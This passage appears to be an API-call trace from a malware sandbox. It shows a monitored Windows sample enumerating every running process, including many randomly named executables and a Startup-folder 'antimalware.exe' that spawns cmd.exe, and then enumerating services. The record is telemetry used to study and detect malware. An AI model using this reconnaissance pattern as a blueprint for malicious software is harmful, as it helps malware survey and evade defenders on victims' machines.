	[0048.683] Process32NextW (in: hSnapshot=0x2f4, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0048.684] lstrlenW (lpString="svchost.exe") returned 11
	[0048.684] Process32NextW (in: hSnapshot=0x2f4, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x234, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0048.684] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0048.684] Process32NextW (in: hSnapshot=0x2f4, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0048.685] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0048.685] Process32NextW (in: hSnapshot=0x2f4, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0048.686] lstrlenW (lpString="svchost.exe") returned 11
	[0048.686] Process32NextW (in: hSnapshot=0x2f4, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x234, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1
	[0048.687] lstrlenW (lpString="dwm.exe") returned 7
	[0048.687] Process32NextW (in: hSnapshot=0x2f4, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x49, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0048.688] lstrlenW (lpString="svchost.exe") returned 11
	[0048.688] Process32NextW (in: hSnapshot=0x2f4, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0048.688] lstrlenW (lpString="svchost.exe") returned 11
	[0048.688] Process32NextW (in: hSnapshot=0x2f4, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0048.689] lstrlenW (lpString="svchost.exe") returned 11
	[0048.689] Process32NextW (in: hSnapshot=0x2f4, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0048.690] lstrlenW (lpString="svchost.exe") returned 11
	[0048.690] Process32NextW (in: hSnapshot=0x2f4, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x170, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x24, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0048.690] lstrlenW (lpString="svchost.exe") returned 11
	[0048.690] Process32NextW (in: hSnapshot=0x2f4, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0048.691] lstrlenW (lpString="svchost.exe") returned 11
	[0048.691] Process32NextW (in: hSnapshot=0x2f4, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0048.692] lstrlenW (lpString="svchost.exe") returned 11
	[0048.692] Process32NextW (in: hSnapshot=0x2f4, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x530, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0048.692] lstrlenW (lpString="svchost.exe") returned 11
	[0048.693] Process32NextW (in: hSnapshot=0x2f4, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x538, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0048.693] lstrlenW (lpString="svchost.exe") returned 11
	[0048.693] Process32NextW (in: hSnapshot=0x2f4, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1
	[0048.694] lstrlenW (lpString="spoolsv.exe") returned 11
	[0048.694] Process32NextW (in: hSnapshot=0x2f4, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0048.695] lstrlenW (lpString="svchost.exe") returned 11
	[0048.695] Process32NextW (in: hSnapshot=0x2f4, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x684, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0048.695] lstrlenW (lpString="svchost.exe") returned 11
	[0048.695] Process32NextW (in: hSnapshot=0x2f4, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x4fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1
	[0048.696] lstrlenW (lpString="audiodg.exe") returned 11
	[0048.696] Process32NextW (in: hSnapshot=0x2f4, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1
	[0048.697] lstrlenW (lpString="sihost.exe") returned 10
	[0048.697] Process32NextW (in: hSnapshot=0x2f4, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x718, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0048.697] lstrlenW (lpString="svchost.exe") returned 11
	[0048.697] Process32NextW (in: hSnapshot=0x2f4, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0048.698] lstrlenW (lpString="taskhostw.exe") returned 13
	[0048.698] Process32NextW (in: hSnapshot=0x2f4, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1
	[0048.699] lstrlenW (lpString="OfficeClickToRun.exe") returned 20
	[0048.699] Process32NextW (in: hSnapshot=0x2f4, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x55c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1
	[0048.700] lstrlenW (lpString="SecurityHealthService.exe") returned 25
	[0048.700] Process32NextW (in: hSnapshot=0x2f4, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x860, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3c, th32ParentProcessID=0x834, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1
	[0048.701] lstrlenW (lpString="explorer.exe") returned 12
	[0048.701] Process32NextW (in: hSnapshot=0x2f4, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1
	[0048.701] lstrlenW (lpString="Memory Compression") returned 18
	[0048.701] Process32NextW (in: hSnapshot=0x2f4, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1
	[0048.702] lstrlenW (lpString="ShellExperienceHost.exe") returned 23
	[0048.702] Process32NextW (in: hSnapshot=0x2f4, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1
	[0048.703] lstrlenW (lpString="SearchUI.exe") returned 12
	[0048.703] Process32NextW (in: hSnapshot=0x2f4, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1
	[0048.703] lstrlenW (lpString="RuntimeBroker.exe") returned 17
	[0048.703] Process32NextW (in: hSnapshot=0x2f4, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1
	[0048.704] lstrlenW (lpString="WmiPrvSE.exe") returned 12
	[0048.704] Process32NextW (in: hSnapshot=0x2f4, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfa4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0048.705] lstrlenW (lpString="taskhostw.exe") returned 13
	[0048.705] Process32NextW (in: hSnapshot=0x2f4, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfd0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="OfficeC2RClient.exe")) returned 1
	[0048.705] lstrlenW (lpString="OfficeC2RClient.exe") returned 19
	[0048.705] Process32NextW (in: hSnapshot=0x2f4, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfd8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="UsoClient.exe")) returned 1
	[0048.706] lstrlenW (lpString="UsoClient.exe") returned 13
	[0048.706] Process32NextW (in: hSnapshot=0x2f4, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfe0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="OfficeC2RClient.exe")) returned 1
	[0048.707] lstrlenW (lpString="OfficeC2RClient.exe") returned 19
	[0048.707] Process32NextW (in: hSnapshot=0x2f4, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfe8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0048.707] lstrlenW (lpString="taskhostw.exe") returned 13
	[0048.708] Process32NextW (in: hSnapshot=0x2f4, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xff0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="DeviceCensus.exe")) returned 1
	[0048.708] lstrlenW (lpString="DeviceCensus.exe") returned 16
	[0048.708] Process32NextW (in: hSnapshot=0x2f4, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xff8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="UNPCampaignManager.exe")) returned 1
	[0048.709] lstrlenW (lpString="UNPCampaignManager.exe") returned 22
	[0048.709] Process32NextW (in: hSnapshot=0x2f4, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1
	[0048.709] lstrlenW (lpString="msoia.exe") returned 9
	[0048.710] Process32NextW (in: hSnapshot=0x2f4, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="AppHostRegistrationVerifier.exe")) returned 1
	[0048.710] lstrlenW (lpString="AppHostRegistrationVerifier.exe") returned 31
	[0048.710] Process32NextW (in: hSnapshot=0x2f4, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1
	[0048.711] lstrlenW (lpString="msoia.exe") returned 9
	[0048.711] Process32NextW (in: hSnapshot=0x2f4, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="roof.exe")) returned 1
	[0048.712] lstrlenW (lpString="roof.exe") returned 8
	[0048.712] Process32NextW (in: hSnapshot=0x2f4, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="minority-weird-increases.exe")) returned 1
	[0048.712] lstrlenW (lpString="minority-weird-increases.exe") returned 28
	[0048.712] Process32NextW (in: hSnapshot=0x2f4, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="halloween_french_yugoslavia.exe")) returned 1
	[0048.713] lstrlenW (lpString="halloween_french_yugoslavia.exe") returned 31
	[0048.713] Process32NextW (in: hSnapshot=0x2f4, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x37c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="cause.exe")) returned 1
	[0048.714] lstrlenW (lpString="cause.exe") returned 9
	[0048.714] Process32NextW (in: hSnapshot=0x2f4, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="occasionstax.exe")) returned 1
	[0048.860] lstrlenW (lpString="occasionstax.exe") returned 16
	[0048.860] Process32NextW (in: hSnapshot=0x2f4, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcd8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="distributors.exe")) returned 1
	[0048.860] lstrlenW (lpString="distributors.exe") returned 16
	[0048.860] Process32NextW (in: hSnapshot=0x2f4, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="month utilities transmit.exe")) returned 1
	[0048.861] lstrlenW (lpString="month utilities transmit.exe") returned 28
	[0048.861] Process32NextW (in: hSnapshot=0x2f4, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="rand.exe")) returned 1
	[0048.862] lstrlenW (lpString="rand.exe") returned 8
	[0048.862] Process32NextW (in: hSnapshot=0x2f4, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="unlikely.exe")) returned 1
	[0048.862] lstrlenW (lpString="unlikely.exe") returned 12
	[0048.862] Process32NextW (in: hSnapshot=0x2f4, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="forever_adipex_transcript.exe")) returned 1
	[0048.863] lstrlenW (lpString="forever_adipex_transcript.exe") returned 29
	[0048.863] Process32NextW (in: hSnapshot=0x2f4, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x784, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="promotion.exe")) returned 1
	[0048.864] lstrlenW (lpString="promotion.exe") returned 13
	[0048.864] Process32NextW (in: hSnapshot=0x2f4, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="upset-vt-promoting.exe")) returned 1
	[0048.865] lstrlenW (lpString="upset-vt-promoting.exe") returned 22
	[0048.865] Process32NextW (in: hSnapshot=0x2f4, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd2c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="charlie_sperm_new.exe")) returned 1
	[0048.865] lstrlenW (lpString="charlie_sperm_new.exe") returned 21
	[0048.865] Process32NextW (in: hSnapshot=0x2f4, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="cagesymbol.exe")) returned 1
	[0048.866] lstrlenW (lpString="cagesymbol.exe") returned 14
	[0048.866] Process32NextW (in: hSnapshot=0x2f4, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd68, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="bad-length.exe")) returned 1
	[0048.867] lstrlenW (lpString="bad-length.exe") returned 14
	[0048.867] Process32NextW (in: hSnapshot=0x2f4, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="unit.exe")) returned 1
	[0048.868] lstrlenW (lpString="unit.exe") returned 8
	[0048.868] Process32NextW (in: hSnapshot=0x2f4, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd88, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="parents.exe")) returned 1
	[0048.869] lstrlenW (lpString="parents.exe") returned 11
	[0048.869] Process32NextW (in: hSnapshot=0x2f4, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="charge.exe")) returned 1
	[0048.870] lstrlenW (lpString="charge.exe") returned 10
	[0048.870] Process32NextW (in: hSnapshot=0x2f4, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="measures-provision.exe")) returned 1
	[0048.870] lstrlenW (lpString="measures-provision.exe") returned 22
	[0048.871] Process32NextW (in: hSnapshot=0x2f4, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1
	[0048.871] lstrlenW (lpString="dllhost.exe") returned 11
	[0048.871] Process32NextW (in: hSnapshot=0x2f4, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x744, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xff0, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0048.872] lstrlenW (lpString="conhost.exe") returned 11
	[0048.872] Process32NextW (in: hSnapshot=0x2f4, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xfd8, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0048.873] lstrlenW (lpString="conhost.exe") returned 11
	[0048.873] Process32NextW (in: hSnapshot=0x2f4, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="cusersmasterappdataroamingmicrosoftwindowsstart menuprogramsstartupantimalware.exe")) returned 1
	[0048.874] lstrlenW (lpString="cusersmasterappdataroamingmicrosoftwindowsstart menuprogramsstartupantimalware.exe") returned 82
	[0048.874] Process32NextW (in: hSnapshot=0x2f4, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x6cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1
	[0048.874] lstrlenW (lpString="cmd.exe") returned 7
	[0048.874] Process32NextW (in: hSnapshot=0x2f4, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xe0, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0048.875] lstrlenW (lpString="conhost.exe") returned 11
	[0048.875] Process32NextW (in: hSnapshot=0x2f4, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0048.876] lstrlenW (lpString="svchost.exe") returned 11
	[0048.876] Process32NextW (in: hSnapshot=0x2f4, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf74, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x12c, pcPriClassBase=8, dwFlags=0x0, szExeFile="CompatTelRunner.exe")) returned 1
	[0048.877] lstrlenW (lpString="CompatTelRunner.exe") returned 19
	[0048.877] Process32NextW (in: hSnapshot=0x2f4, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xf74, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0048.877] lstrlenW (lpString="conhost.exe") returned 11
	[0048.877] Process32NextW (in: hSnapshot=0x2f4, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xf74, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 0
	[0048.878] CloseHandle (hObject=0x2f4) returned 1
	[0048.878] Sleep (dwMilliseconds=0x1f4) 
	[0049.553] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x68fc88
	[0049.553] EnumServicesStatusExW (in: hSCManager=0x68fc88, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x252ff3c, lpServicesReturned=0x252ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x252ff3c, lpServicesReturned=0x252ff54, lpResumeHandle=0x0) returned 0
	[0049.554] GetLastError () returned 0xea
